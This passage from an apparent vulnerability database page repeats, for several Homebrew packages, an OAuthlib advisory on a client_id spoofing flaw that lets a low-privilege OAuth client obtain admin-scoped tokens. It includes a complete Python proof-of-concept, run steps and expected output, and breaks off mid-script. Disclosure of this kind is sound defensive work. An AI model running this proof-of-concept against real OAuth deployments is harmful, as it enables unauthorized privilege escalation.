\"grant_type=password\u0026client_id=high\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed client_credentials as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027}\ncontrol password as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed password as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027, \u0027refresh_token\u0027: \u0027...\u0027}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n \"authenticated_client_id\": \"low\",\n \"request_client_id\": \"high\",\n \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n if request.client_id is not None and request.client_id != request.client.client_id:\n raise InvalidClientError(...)\n request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/",
"id": "BREW-charmcraft-CVE-2026-118669",
"modified": "2026-10-31T10:24:35Z",
"published": "2026-10-31T10:24:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-118669"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/920"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client",
"upstream": [
"GHSA-7984-qgvg-3j9c",
"CVE-2026-118669"
]
}
BREW-CONFLUENCE-MARKDOWN… (GHSA-7984-QGVG-3J9C)
Vulnerability from osv_homebrew – Published: 2026-10-31 10:41 – Updated: 2026-10-31 10:41 – Source websiteSummary
OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied client_id from the request body.
In affected token grant flows, authenticate_client(request) sets request.client to the authenticated client object, but OAuthlib does not require request.client_id to match request.client.client_id. If the request body already contains client_id=..., OAuthlib keeps that value and passes it to validate_grant_type() and validate_scopes().
As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's client_id in the token request body, and cause grant and scope validation to run under that other client identity.
Affected Surface
The affected public surface is the OAuth2 token endpoint handling for:
client_credentialspassword/ Resource Owner Password Credentials
The issue is relevant to OAuthlib provider deployments where:
- the attacker has credentials for one valid lower-privilege confidential client;
- another client has broader grants or scopes;
- the application validator uses the
client_idargument passed by OAuthlib invalidate_grant_type()orvalidate_scopes(), as theRequestValidatorAPI is designed to support.
Deployments whose validators ignore the client_id argument and authorize only from request.client may not be affected.
Details
Request parses query and body parameters into request attributes, including client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397
The RequestValidator.authenticate_client() contract requires the integrator to authenticate the client and set request.client:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66
For the client_credentials grant, OAuthlib authenticates the client, verifies that request.client has a client_id, then performs grant and scope validation before normalizing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119
The problematic order is:
if not self.request_validator.authenticate_client(request):
...
elif not hasattr(request.client, 'client_id'):
...
self.validate_grant_type(request)
request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
Because OAuthlib only fills request.client_id when it is missing, an attacker-supplied body value such as client_id=high survives even when request.client.client_id == "low".
The shared grant helper then authorizes using request.client_id, while passing the authenticated client object separately:
validate_grant_type(request.client_id, request.grant_type, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162validate_scopes(request.client_id, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176
The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195
This creates an inconsistent identity state:
request.client.client_id == "low" # authenticated client
request.client_id == "high" # attacker-supplied request parameter
OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled request.client_id as the first-class client_id argument.
Impact
An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the RequestValidator API and authorizes by the client_id argument.
Concrete impact can include:
- issuing access tokens with scopes not assigned to the authenticated client;
- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;
- persisting tokens under a spoofed
client_idwhile the authenticated client object is different.
This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.
PoC
Create the following files in an empty directory.
requirements.txt:
oauthlib==3.3.1
repro.py:
import base64
import json
from oauthlib.oauth2 import (
BearerToken,
ClientCredentialsGrant,
RequestValidator,
ResourceOwnerPasswordCredentialsGrant,
TokenEndpoint,
)
class Client:
def __init__(self, client_id):
self.client_id = client_id
CLIENTS = {
"low": {
"secret": "low-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read"},
},
"high": {
"secret": "high-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read", "admin"},
},
}
class DemoValidator(RequestValidator):
def __init__(self):
self.saved_tokens = []
def authenticate_client(self, request, *args, **kwargs):
authorization = request.headers.get("Authorization", "")
prefix = "Basic "
if not authorization.startswith(prefix):
return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
client_id, secret = decoded.split(":", 1)
record = CLIENTS.get(client_id)
if record is None or record["secret"] != secret:
return False
# This is the authenticated client identity.
request.client = Client(client_id)
return True
def client_authentication_required(self, request, *args, **kwargs):
return True
def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and grant_type in record["grants"]
def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and set(scopes or []) <= record["scopes"]
def get_default_scopes(self, client_id, request, *args, **kwargs):
return []
def validate_user(self, username, password, client, request, *args, **kwargs):
if username == "alice" and password == "wonderland":
request.user = username
return True
return False
def save_bearer_token(self, token, request, *args, **kwargs):
self.saved_tokens.append({
"token": dict(token),
"authenticated_client_id": request.client.client_id,
"request_client_id": request.client_id,
"scopes": list(request.scopes or []),
})
validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
default_grant_type="client_credentials",
default_token_type=token,
grant_types={
"client_credentials": ClientCredentialsGrant(validator),
"password": ResourceOwnerPasswordCredentialsGrant(validator),
},
)
def low_client_headers():
value = base64.b64encode(b"low:low-secret").decode("ascii")
return {"Authorization": f"Basic {value}"}
def token_request(body):
_headers, response_body, status = endpoint.create_token_response(
"https://auth.example/token",
body=body,
headers=low_client_headers(),
)
return status, json.loads(response_body)
def assert_rejected(label, body):
status, response = token_request(body)
print(label, status, response)
if status == 200:
raise SystemExit(f"{label}: expected rejection, got success")
def assert_spoofed_success(label, body):
status, response = token_request(body)
print(label, status, response)
if status != 200:
raise SystemExit(f"{label}: expected token, got {status} {response}")
if response.get("scope") != "admin":
raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")
assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)
assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)
print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
Run:
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
Expected result:
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
The success condition is that both successful token responses are produced while the saved token state shows:
{
"authenticated_client_id": "low",
"request_client_id": "high",
"scopes": ["admin"]
}
That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied client_id=high.
Suggested Remediation
After client authentication succeeds, OAuthlib should reject a token request if an explicit request client_id is present and does not match request.client.client_id.
For authenticated confidential-client flows, a safer invariant is:
if request.client is not None:
if request.client_id is not None and request.client_id != request.client.client_id:
raise InvalidClientError(...)
request.client_id = request.client.client_id
This should happen before validate_grant_type() and validate_scopes() are called.
Reporters:
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "confluence-markdown-exporter",
"purl": "pkg:brew/confluence-markdown-exporter"
},
"ranges": [
{
"events": [
{
"introduced": "5.4.0"
},
{
"fixed": "5.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "## Summary\n\nOAuthlib\u0027s token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client\u0027s `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n ...\nelif not hasattr(request.client, \u0027client_id\u0027):\n ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\" # authenticated client\nrequest.client_id == \"high\" # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client\u0027s grant and scope policy if the application\u0027s validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n BearerToken,\n ClientCredentialsGrant,\n RequestValidator,\n ResourceOwnerPasswordCredentialsGrant,\n TokenEndpoint,\n)\n\n\nclass Client:\n def __init__(self, client_id):\n self.client_id = client_id\n\n\nCLIENTS = {\n \"low\": {\n \"secret\": \"low-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\"},\n },\n \"high\": {\n \"secret\": \"high-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\", \"admin\"},\n },\n}\n\n\nclass DemoValidator(RequestValidator):\n def __init__(self):\n self.saved_tokens = []\n\n def authenticate_client(self, request, *args, **kwargs):\n authorization = request.headers.get(\"Authorization\", \"\")\n prefix = \"Basic \"\n if not authorization.startswith(prefix):\n return False\n\n decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n client_id, secret = decoded.split(\":\", 1)\n record = CLIENTS.get(client_id)\n if record is None or record[\"secret\"] != secret:\n return False\n\n # This is the authenticated client identity.\n request.client = Client(client_id)\n return True\n\n def client_authentication_required(self, request, *args, **kwargs):\n return True\n\n def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and grant_type in record[\"grants\"]\n\n def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and set(scopes or []) \u003c= record[\"scopes\"]\n\n def get_default_scopes(self, client_id, request, *args, **kwargs):\n return []\n\n def validate_user(self, username, password, client, request, *args, **kwargs):\n if username == \"alice\" and password == \"wonderland\":\n request.user = username\n return True\n return False\n\n def save_bearer_token(self, token, request, *args, **kwargs):\n self.saved_tokens.append({\n \"token\": dict(token),\n \"authenticated_client_id\": request.client.client_id,\n \"request_client_id\": request.client_id,\n \"scopes\": list(request.scopes or []),\n })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n default_grant_type=\"client_credentials\",\n default_token_type=token,\n grant_types={\n \"client_credentials\": ClientCredentialsGrant(validator),\n \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n },\n)\n\n\ndef low_client_headers():\n value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n _headers, response_body, status = endpoint.create_token_response(\n \"https://auth.example/token\",\n body=body,\n headers=low_client_headers(),\n )\n return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status == 200:\n raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status != 200:\n raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n if response.get(\"scope\") != \"admin\":\n raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n saved = validator.saved_tokens[-1]\n if saved[\"authenticated_client_id\"] != \"low\":\n raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n if saved[\"request_client_id\"] != \"high\":\n raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n \"control client_credentials as low requesting admin\",\n \"grant_type=client_credentials\u0026client_id=low\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed client_credentials as low with client_id=high\",\n \"grant_type=client_credentials\u0026client_id=high\u0026scope=admin\",\n)\n\nassert_rejected(\n \"control password as low requesting admin\",\n \"grant_type=password\u0026client_id=low\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed password as low with client_id=high\",\n \"grant_type=password\u0026client_id=high\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed client_credentials as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027}\ncontrol password as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed password as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027, \u0027refresh_token\u0027: \u0027...\u0027}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n \"authenticated_client_id\": \"low\",\n \"request_client_id\": \"high\",\n \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n if request.client_id is not None and request.client_id != request.client.client_id:\n raise InvalidClientError(...)\n request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/",
"id": "BREW-confluence-markdown-exporter-CVE-2026-118669",
"modified": "2026-10-31T10:41:48Z",
"published": "2026-10-31T10:41:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-118669"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/920"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client",
"upstream": [
"GHSA-7984-qgvg-3j9c",
"CVE-2026-118669"
]
}
BREW-DSTACK-CVE-2026-118669 (GHSA-7984-QGVG-3J9C)
Vulnerability from osv_homebrew – Published: 2026-10-31 08:45 – Updated: 2026-10-31 08:45 – Source websiteSummary
OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied client_id from the request body.
In affected token grant flows, authenticate_client(request) sets request.client to the authenticated client object, but OAuthlib does not require request.client_id to match request.client.client_id. If the request body already contains client_id=..., OAuthlib keeps that value and passes it to validate_grant_type() and validate_scopes().
As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's client_id in the token request body, and cause grant and scope validation to run under that other client identity.
Affected Surface
The affected public surface is the OAuth2 token endpoint handling for:
client_credentialspassword/ Resource Owner Password Credentials
The issue is relevant to OAuthlib provider deployments where:
- the attacker has credentials for one valid lower-privilege confidential client;
- another client has broader grants or scopes;
- the application validator uses the
client_idargument passed by OAuthlib invalidate_grant_type()orvalidate_scopes(), as theRequestValidatorAPI is designed to support.
Deployments whose validators ignore the client_id argument and authorize only from request.client may not be affected.
Details
Request parses query and body parameters into request attributes, including client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397
The RequestValidator.authenticate_client() contract requires the integrator to authenticate the client and set request.client:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66
For the client_credentials grant, OAuthlib authenticates the client, verifies that request.client has a client_id, then performs grant and scope validation before normalizing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119
The problematic order is:
if not self.request_validator.authenticate_client(request):
...
elif not hasattr(request.client, 'client_id'):
...
self.validate_grant_type(request)
request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
Because OAuthlib only fills request.client_id when it is missing, an attacker-supplied body value such as client_id=high survives even when request.client.client_id == "low".
The shared grant helper then authorizes using request.client_id, while passing the authenticated client object separately:
validate_grant_type(request.client_id, request.grant_type, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162validate_scopes(request.client_id, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176
The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195
This creates an inconsistent identity state:
request.client.client_id == "low" # authenticated client
request.client_id == "high" # attacker-supplied request parameter
OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled request.client_id as the first-class client_id argument.
Impact
An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the RequestValidator API and authorizes by the client_id argument.
Concrete impact can include:
- issuing access tokens with scopes not assigned to the authenticated client;
- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;
- persisting tokens under a spoofed
client_idwhile the authenticated client object is different.
This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.
PoC
Create the following files in an empty directory.
requirements.txt:
oauthlib==3.3.1
repro.py:
import base64
import json
from oauthlib.oauth2 import (
BearerToken,
ClientCredentialsGrant,
RequestValidator,
ResourceOwnerPasswordCredentialsGrant,
TokenEndpoint,
)
class Client:
def __init__(self, client_id):
self.client_id = client_id
CLIENTS = {
"low": {
"secret": "low-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read"},
},
"high": {
"secret": "high-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read", "admin"},
},
}
class DemoValidator(RequestValidator):
def __init__(self):
self.saved_tokens = []
def authenticate_client(self, request, *args, **kwargs):
authorization = request.headers.get("Authorization", "")
prefix = "Basic "
if not authorization.startswith(prefix):
return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
client_id, secret = decoded.split(":", 1)
record = CLIENTS.get(client_id)
if record is None or record["secret"] != secret:
return False
# This is the authenticated client identity.
request.client = Client(client_id)
return True
def client_authentication_required(self, request, *args, **kwargs):
return True
def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and grant_type in record["grants"]
def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and set(scopes or []) <= record["scopes"]
def get_default_scopes(self, client_id, request, *args, **kwargs):
return []
def validate_user(self, username, password, client, request, *args, **kwargs):
if username == "alice" and password == "wonderland":
request.user = username
return True
return False
def save_bearer_token(self, token, request, *args, **kwargs):
self.saved_tokens.append({
"token": dict(token),
"authenticated_client_id": request.client.client_id,
"request_client_id": request.client_id,
"scopes": list(request.scopes or []),
})
validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
default_grant_type="client_credentials",
default_token_type=token,
grant_types={
"client_credentials": ClientCredentialsGrant(validator),
"password": ResourceOwnerPasswordCredentialsGrant(validator),
},
)
def low_client_headers():
value = base64.b64encode(b"low:low-secret").decode("ascii")
return {"Authorization": f"Basic {value}"}
def token_request(body):
_headers, response_body, status = endpoint.create_token_response(
"https://auth.example/token",
body=body,
headers=low_client_headers(),
)
return status, json.loads(response_body)
def assert_rejected(label, body):
